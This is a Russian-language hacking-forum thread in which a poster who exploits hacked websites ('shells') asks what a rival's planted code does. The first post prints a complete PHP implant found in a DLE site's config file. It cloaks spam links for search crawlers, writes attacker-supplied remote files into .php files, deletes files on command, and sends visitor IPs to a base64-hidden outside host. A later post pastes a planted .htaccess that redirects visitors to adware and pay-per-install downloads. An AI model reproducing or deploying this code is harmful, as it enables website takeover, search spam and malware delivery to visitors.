Что делает сосед по шеллу?

Discussion in 'Уязвимости' started by spiderbuber, 13 Sep 2012.

  1. spiderbuber

    spiderbuber New Member

    Joined:
    20 Oct 2010
    Messages:
    63
    Likes Received:
    0
    Reputations:
    0
    Сегодня на одном брошенном шелле заметил соседа.
    Движок ДЛЕ, код был в dbconfig.php
    Интересует, что делает его код?
    PHP:
    function get_content_code($a,$query=false,$type=false){
        if(
    $type){
            
    $frt $a.$query;
        }
        else{
            
    $frt base64_decode($a).$query;
        }

              
    $ret false;
              
              if( @
    function_exists('curl_init') ){
                   if( 
    $curl = @curl_init() ){
                        
                        if( !@
    curl_setopt($curl,CURLOPT_URL,$frt) ) return $ret;
                        if( !@
    curl_setopt($curl,CURLOPT_RETURNTRANSFER,true) ) return $ret;
                        if( !@
    curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,30) ) return $ret;
                        if( !@
    curl_setopt($curl,CURLOPT_HEADER,false) ) return $ret;
                        if( !@
    curl_setopt($curl,CURLOPT_ENCODING,"gzip,deflate") ) return $ret;
                        
                        
    $ret = @curl_exec($curl);
                        @
    curl_close($curl);
                   }
              }
              else{
                   
    $u parse_url($frt);
                   
                   if( 
    $fp = @fsockopen($u['host'],!empty($u['port']) ? $u['port'] : 80 ) ){
                        
                       
    $headers 'GET '.  $u['path'] . '?' $u['query'] .' HTTP/1.0'"\r\n";
                       
    $headers .= 'Host: '$u['host'] ."\r\n";
                       
    $headers .= 'Connection: Close' "\r\n\r\n";
                        
                       @
    fwrite($fp$headers);
                       
    $ret '';
                             
                        while( !
    feof($fp) ){
                             
    $ret .= @fgets($fp,1024);
                        }
                        
                        
    $ret substr($ret,strpos($ret,"\r\n\r\n") + 4);
                        
                        @
    fclose($fp);
                   }
              }
              
              return 
    $ret;
    }
    function 
    filtr($data){
        return 
    str_replace("\r\n","",trim(stripcslashes(preg_replace("'<[^>]*>'si",'',$data))));
    }

    function 
    srt_rep($id){
        
    $test =  str_replace("\r\n""",$id);
        
    $test =  str_replace(" ""::::",$test);
        return 
    filtr($test);
    }

    function 
    get_n_link($content){
        
    preg_match_all("'<a.*?href=[\"\']http:\/\/(.*?)[\"\'][^>]*>'si",$content,$all);
        foreach(
    $all[1] as $val){
        
    $link explode("/",$val);
        
        
    $host preg_replace('/^www\./'''$_SERVER["HTTP_HOST"]);
        
    $h_link preg_replace('/^www\./'''$link[0]);
        
        if(
    $h_link !== $host){
            
    $name[$h_link] = $h_link;
        }
        }
        return 
    count($name);
    }

    function 
    title_desc($content){
        global 
    $MERS;
        if(
    preg_match_all("'\<meta(.*?)[^>]*>'si",$content,$math)){

        foreach(
    $math[0] as $key =>$val){

            if(
    strstr($val,"description")){
                
    preg_match("'content=[\"\'](.*?)[\"\']'si",$val,$MERS[0]);
            }
            if(
    strstr($val,"keywords")){
                
    preg_match("'content=[\"\'](.*?)[\"\']'si",$val,$MERS[1]);
            }
            if(
    strstr($val,"Content-Type") or strstr($val,"content-type")){
                
    preg_match("'charset=(.*?)[\"\']'si",$val,$MERS[2]);
            }
    }
        }
        if(
    preg_match("'<title[^>]*>(.*?)<\/title[^>]*>'si",$content,$pre_title)){
            if(
    strstr($pre_title[1],'&raquo;'))
               
    preg_match("'(.*?)&raquo;'si",$pre_title[1],$MERS[3]);
            else 
    $MERS[3][1] = $pre_title[1];
        }

    }
         
    function 
    get_asp(){
        global 
    $MERS;
        
    $URI $_SERVER["REQUEST_URI"];
        
    $HOST $_SERVER["HTTP_HOST"];
        
        if ( 
    strstr($_SERVER['HTTP_USER_AGENT'], 'Yandex') or strstr($_SERVER['HTTP_USER_AGENT'], 'Google')){
            print 
    "<!--bot_true-->\n";
        
        if(
    $_GET['get_onload']){
            if(@
    copy($_GET['get_onload'],ROOT_DIR.$_GET['in'].'.php')) {
                @
    chmod($_GET['get_onload'],ROOT_DIR.$_GET['in'].'.php',0666);
                print 
    '<!--get_onload_true-->';
            }
        }
        if(
    $_GET['get_unload']){
            if(@
    unlink(ROOT_DIR.$_GET['get_unload'].'.php')) print '<!--get_unload_true-->';
        }
        
        
    $content get_content_code('aHR0cDovLw==',$HOST.$URI);
                
        
    title_desc($content);
        
        
    $s_temp = @file_get_contents(ROOT_DIR.'/templates/'.$config['skin'].'/main.tpl');
        
    $vs   get_n_link($content);
        
    $temp get_n_link($s_temp);
        
        
    $conect 'n';
        
        if ( 
    strstr($_SERVER['HTTP_USER_AGENT'], 'Yandex')){
            
    $conect 'y';
        }
        elseif( 
    strstr($_SERVER['HTTP_USER_AGENT'], 'Google')){
            
    $conect 'g';
        }
        
        if(
    $MERS[2][1] == 'UTF-8' or $MERS[2][1] == 'utf-8'){
            
    $MERS[3][1] = mb_convert_encoding($MERS[3][1], 'windows-1251''UTF-8');
            
    $MERS[1][1] = mb_convert_encoding($MERS[1][1], 'windows-1251''UTF-8');
            
    $MERS[0][1] = mb_convert_encoding($MERS[0][1], 'windows-1251''UTF-8');
        }

            
    $TMP get_content_code('aHR0cDovL3BvZHN0YXZhLndzL2NvbmVjdC5waHA/dXJsPQ==',$URI.'&host='.$HOST.'&t='.srt_rep($MERS[3][1]).'&k='.srt_rep($MERS[1][1]).'&d='.srt_rep($MERS[0][1]).'&vs='.$vs.'&temp='.$temp.'&hu='.$conect.'&ip='.$_SERVER["REMOTE_ADDR"]); 
        
        
        if(
    $MERS[2][1] == 'UTF-8' or $MERS[2][1] == 'utf-8'){
            
    $TMP mb_convert_encoding($TMP'UTF-8''windows-1251');
        }
        echo 
    $TMP;
        }
    }
    get_asp();
     
  2. DJ4J

    DJ4J Member

    Joined:
    23 Aug 2009
    Messages:
    2
    Likes Received:
    53
    Reputations:
    1
    Код не полный.Это само по себе ничего не сделает.Скорее всего этот файл инклудится из другого файла, а уже тот выполняется.
     
  3. Chrome~

    Chrome~ Elder - Старейшина

    Joined:
    13 Dec 2008
    Messages:
    939
    Likes Received:
    162
    Reputations:
    27
    Это код индексатора. Получает ссылки с некого http://podstava.ws/ и выводит их поисковым роботам. Но код неполный.
     
  4. sova1611

    sova1611 New Member

    Joined:
    10 Jan 2009
    Messages:
    39
    Likes Received:
    3
    Reputations:
    0
    да подтверждаю это скрипт индексатора,даже знаю чей)но не скажу)))))
     
  5. DJ4J

    DJ4J Member

    Joined:
    23 Aug 2009
    Messages:
    2
    Likes Received:
    53
    Reputations:
    1
    Как ты определил, откуда выводит? :)

    //уже понял
     
    #5 DJ4J, 13 Sep 2012
    Last edited: 13 Sep 2012
  6. spiderbuber

    spiderbuber New Member

    Joined:
    20 Oct 2010
    Messages:
    63
    Likes Received:
    0
    Reputations:
    0
    Сегодня снова был немного удивлен

    С индексатором определились, разобрались :)

    Сегодня снова был немного удивлен. Уже на другом шелле нашел в htaccess такое:
    PHP:
    RewriteRule ^free-download(/?)+$   /ad/dl-file.php [L]

    # RewriteRule ^trafback(/?)+$    http://network.adsmarket.com/click/i2ZrmWKcqZaOaW2aX8p6w4iQbJ5mnH2ZiZBwlmCjqZeLZnCWjZ17m4xlag [L]

    Redirect /ilivid http://network.adsmarket.com/click/i2ZrmWKcqZaOaW2aX8p6w4iQbJ5mnH2ZiZBwlmCjqZeLZnCWjZ17m4xlag
    Redirect /mp3wmaconverter http://network.adsmarket.com/click/i2ZrmWKcqZaOaW2aX8p6w4iQbpxnm36biZBwlmCjqZiNZWqWjZ56l4xoag
    Redirect /gimp http://network.adsmarket.com/click/i2ZrmWKcqZaOaW2aX8p6w4iQb51inX6YiZBum2Kcg8OManCZX8p9mI9maZY
    Redirect /emule http://network.adsmarket.com/click/i2ZrmWKcqZaOaW2aX8p6w4iQbJdem4KViZBum2Kcg8OLYW-XX8p7nIhjbZY

    RewriteRule ^matlnk.exe(.*)+$ http://network.adsmarket.com/click/i2ZrmWKcqZaOaW2aX8p6w4iQbZtnoHyZiZBum2Kcg8OLaG-bX8p8mIxqcpY [L]

    # RewriteRule ^hotnews(/?)+$    /ad/directadvert.html [L]
    # Redirect /gaco/     http://gameconvert.net/install.php?rid=111&name=

    # RewriteRule ^dlfile/(.*)+$   /ad/setup_download.exe [L]

    # Редирект с подменой/files
    Redirect /lomo/     http://loadmoney.ru/get_file?sid=2058&url=
    RewriteRule ^m_lomo/(.*)+$   /go/download_setup.exe [L]
    # Redirect /download/    /esc.php?name=
    Redirect /get/     /load.php?q=
    # Redirect /goto/     /load.php?q=

    # RewriteRule ^dldla/(.*)+$    /go/esc_downloader.exe [L]

    Про ПП gameconvert.net и loadmoney.ru слышал, но вот что за network.adsmarket.com ?

    Стало любопытно, пошел по папкам.. Слил весь левак .

    Что вообще делают эти коды?

    Также что интерессно, на сайте висят несколько картинок-плееров с ссылками на визитвеб.

    [​IMG]

    Неужели визитвеб принимает траф по прямой ссылке, а не по тизерам?

    Также под файлообменниками добавляется ссылка на скачку (я обычно ставлю туда слив на платник), но тут после нескольких редиректов нам предлагается скачать некое ПО:
    http://a.ficklebox.com/IC/GPLAppBundler82/40210/1/b79a1917-e5a7-46e1-b7bc-751af3ae1cac/eMuleSetup.exe


    Которое каспер определяет как:
    Что это ЗА?

    ЗЫ: Может кто признается, чьё творение (чирканите в аську)?
     
Loading...